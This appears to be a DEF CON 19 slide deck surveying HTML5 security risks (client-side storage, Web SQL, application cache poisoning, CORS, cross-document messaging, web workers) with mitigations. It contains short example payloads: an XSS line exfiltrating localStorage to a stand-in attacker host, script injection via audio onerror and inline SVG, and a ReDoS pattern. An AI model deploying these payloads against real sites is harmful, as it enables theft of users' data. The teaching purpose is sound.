Abusing HTML5

DEF CON 19
Ming Chow
Lecturer, Department of Computer Science
Tufts University
Medford, MA 02155
mchow@cs.tufts.edu
What is HTML5?

• The next major revision of HTML. To replace XHTML? Yes
• Close enough to a full-fledged development environment
• The three aspects of HTML5:
  – Content (HTML)
  – Presentation of content (CSS)
  – Interaction with content (JavaScript)
• Still work in progress
• Backing from Google, Microsoft, and of course Apple
• Currently supported (not 100%) in Chrome, Firefox 3.5+, Opera, Internet Explorer 8, and Safari
• Many incompatibilities exist; perform a browser test via http://www.html5test.com
• Will be flexible with error handling (i.e., incorrect syntax). Older browsers will safely ignore the new HTML5 syntax.
HTML5: What’s In? What’s Out?

• In:
  – New tags, including `<button>`, `<video>`, `<audio>`, `<article>`, `<footer>`, `<nav>
  – New attributes for tags such as `autocomplete`, `autofocus`, `pattern` *(yes, regex)* for input
  – New media events
  – New `<canvas>` tag for 2D rendering
  – New form controls for date and time
  – Geolocation
  – New selectors
  – Client-side storage including `localStorage`, `sessionStorage`, and `Web SQL`

• Out:
  – Presentation elements such as `<font>`, `<center>`
  – Presentation attributes including `align`, `border`
  – `<frame>`, `<frameset>`
  – `<applet>`
  – Old special effects: `<marquee>`, `<bgsound>`
  – `<noscript>`
Quick Demos

• Video captioning
• Canvas
• Geolocation
Structure of an HTML5 Document

<!DOCTYPE html>
<html>
<head>
<title>An HTML Document</title>
...
...
...
</head>

<body>
<p>Everything that you practically know of stays the same</p>
...
...
...
</body>
</html>
Areas of Concern

• The attack surface: client-side
• Client-side and offline storage
  – No longer just cookies and sessions
  – Compared to cookies and sessions, allows for greater amount of data to be stored
  – What if client's database synchronizes with production database on server and client's database contains malicious?
• Cross-origin JavaScript requests
• Sending messages from one document to another (on another domain)
• Holy smokes, background computational power!
• The complexity of HTML5 making the browser worse
localStorage and sessionStorage

• Provides key-value mappings (currently, string-to-string mappings)
• Very much like cookies.
• Differences:
  – Cookies => 4 KB; localStorage => depends on browser (usually in MB)
  – Unlike cookies, sessionStorage and localStorage data are NOT sent to server!
  – sessionStorage data confined to browser window that it was created in, lasts until browser is closed
  – localStorage has longer persistence, can last even after browser is closed
• Trivial to use:
  – (localStorage | sessionStorage).setItem()
  – (localStorage | sessionStorage).getItem()
  – (localStorage | sessionStorage).deleteItem()
• Or use associative array syntax for localStorage or sessionStorage
Hardly Any Security with localStorage or sessionStorage

• If you have an XSS vulnerability in your application, anything stored in localStorage is available to an attacker.

• Example: `<script>document.write("<img src='http://attackersite.com?cookie="+localStorage.getItem('phrase')+''>"');</script>`

• Never a good idea to use store sensitive data locally.

• Someone with access to your machine can read everything (via Chrome Developer Tools or Firebug)
Web SQL

• Brings SQL to the client-side
• Not new: see Google Gears
• Core methods:
  – openDatabase("Database Name", "Database Version", "Database Description", "Estimated Size");
  – transaction("YOUR SQL STATEMENT HERE");
  – executeSql();
• Prepared statements supported
• The usual gang of attacks: XSS, SQL injection
• Demos
Web SQL (continued)

• The usual gang of preventions:
  – Use prepared statements
  – Output encoding (before storing data and after fetching data)

• New wrenches:
  – Do not store sensitive data in client-side database
  – *Like localStorage and sessionStorage, someone with access to your machine can read everything (via Chrome Developer Tools or Firebug)*
  – Can you really trust what is stored on client-side database?
  – Create database and store data over SSL
  – Ask user for permission before creating and storing local database
Application Cache

- Useful for offline browsing, speed, and reduce server load
- The size limit for cached data for a site: 5 MB
- Example 1A, enabling application cache:
  ```html
  <html manifest="example.manifest">
  ...
  </html>
  ```
- Example 1B, the manifest file (`example.manifest`):
  ```
  CACHE MANIFEST
  # 2010-06-18:v2

  # Explicitly cached entries
  CACHE:
  index.html
  stylesheet.css
  images/logo.png
  scripts/main.js
  ```
Application Cache (continued)

- Example 2, updating Application Cache:
  `applicationCache.addEventListener('checking', updateCacheStatus, false);`
Poisoning the Application Cache

• Any website can create a cache on the user's computer
• No permission required before allowing a site to create an application cache in Chrome or Safari
• Any file can be cached including the root file "/
• The catch: even if a root resource is cached normally and on refresh, the normal cache is updated but not the Application Cache
• Read: http://blog.andlabs.org/2010/06/chrome-and-safari-users-open-to-stealth.html
Cross-Origin JavaScript Requests (or Cross-Origin Resource Sharing)

- Not directly part of HTML5 but introduced by W3C
- `XDomainRequest()` created by Microsoft in Internet Explorer 8
- In some cases, `XMLHttpRequest()` now allow cross-domain requests (Firefox 3.5+ and Safari 4+)
- Caveat: consent between web page and the server is required.
  - Server must respond with an `Access-Control-Allow-Origin` header of either * (a.k.a., universal allow, not good!) or the exact URL of the requesting page (site-level; white-list)
  - Example 1 (BAD!): `header('Access-Control-Allow-Origin: *');`

- Resolutions:
  - Add some form of authentication / credentials checking (e.g., cookie)
  - Validate response
Cross-Document Messaging

• Establish a communication channel between frames in different origins
• Requires sender and receiver
• **Sender:** `window.postMessage("message", "targetOrigin");`
• **Demo**
  • Watch out! If you are the receiver of a message from another site, verify the sender's identity using the origin property. Example (receiver):

```javascript
window.addEventListener("message", receiveMessage, false);
function receiveMessage(event)
{
  if (event.origin !== "http://example.org") {
    ...
    ...
  }
}
```
Web Workers

• Very powerful stuff; allows background computational tasks via JavaScript --think threads
• Really simple: instantiate a Worker object in JavaScript
• Example: `var w = new Worker("some_script.js");`
• `w.onmessage = function(e) { // do something };`
• To terminate a worker: `w.terminate();`
• Caveat: web workers cannot run locally (i.e., `file:///`)  
  • Same-origin security principle applies
• Things that a worker have access to: XHR, navigator object, application cache, spawn other workers!
• Things that a worker does not have access to: DOM, window, document objects
• What you could do with a worker: use your wildest imagination...
But What About the New HTML5 Tags and Attributes?

• Depends on browser, spec of codec or format
• Native audio and video rendering (read: `<video>` and `<audio>`). What if there are flaws in the codec?
• On some browsers (e.g, Firefox < 4), you can embed JavaScript as value of on error attribute of `<video>` or `<audio>` with `<source>`
• Example: `<audio onerror="javascript:alert('ugh!')"> <source src="uhoh.mp3" /></audio>`
• What if an inline SVG call contains JavaScript and HTML? Example (this works in Firefox < 4 but not in Chrome < 7): `<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>`
• Potential client-side ReDoS via pattern attribute in input (Opera 10+)
  – Example: `<input pattern="^((a+)a)+$" value="aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa..." />"
Summary

• A lot of same old problems, same old resolutions (read: common sense, input validation, be careful connecting to an unsecured network / public Wi-Fi)

• Important to remember: HTML5 standard is still work-in-progress, being finalized, and evolving...

• ...but at the same time, the spike of i{Phone, Pod Touch, Pad}, Android, and other mobile devices that do not support Flash has spurred the growth and interest in HTML5. Alas, HTML5 and its security issues cannot be ignored.
References and Resources

- **HTML5**
  - [http://www.html5rocks.com/](http://www.html5rocks.com/)

- **HTML5 Security**
  - [http://heideri.ch/jso/](http://heideri.ch/jso/)
  - [http://spareclockcycles.org/2010/12/19/d0z-me-the-evil-url-shortener/](http://spareclockcycles.org/2010/12/19/d0z-me-the-evil-url-shortener/)